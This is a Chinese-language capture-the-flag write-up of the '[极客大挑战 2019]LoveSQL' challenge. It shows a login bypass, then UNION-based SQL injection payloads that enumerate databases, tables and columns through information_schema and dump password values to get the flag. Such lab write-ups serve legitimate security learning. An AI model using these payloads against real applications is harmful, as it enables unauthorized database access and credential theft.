[极客大挑战 2019]LoveSQL

发布时间 2023-10-31 17:40:03作者: imtaieee

打开题目如下。
image.png
直接使用万能密码即可登录,但未拿到 flag
image.pngimage.png
这里尝试联合注入,首先确定字段数量,Payloadadmin' or 1=1 order by 1;#,当字段数为 4 时报错,因此字段数为 3
image.png
接下来判断什么位置的字段会输出:admin' union select 1,2,3;#,结果中会显示 23,因此字段 23 将会输出。
image.png
接着输出所有数据库名,Payloadadmin' union select 1, 2, group_concat(schema_name) from information_schema.schemata;#
image.png
接着输出所有数据表名,Payloadadmin' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database();#
image.png
猜测 flag 位于 l0ve1ysq1 数据表内,因此查看该数据表的字段属性,Payloadadmin'+union+select+1,+2,+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'l0ve1ysq1'%3b%23
image.png
发现 l0ve1ysq1 数据表内没有 flag 相关的字段,接下来查看 geekuser 数据表的字段属性,Payloadadmin'+union+select+1,+2,+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'geekuser'%3b%23
image.png
发现两张表的字段名都一样,那只能输出字段值来看看了,首先查看 l0ve1ysq1 表的 password 字段的值,Payloadadmin'+union+select+1,2,group_concat(0x7e,password,0x7e)+from+geek.l0ve1ysq1%3b%23
image.png
得到 flag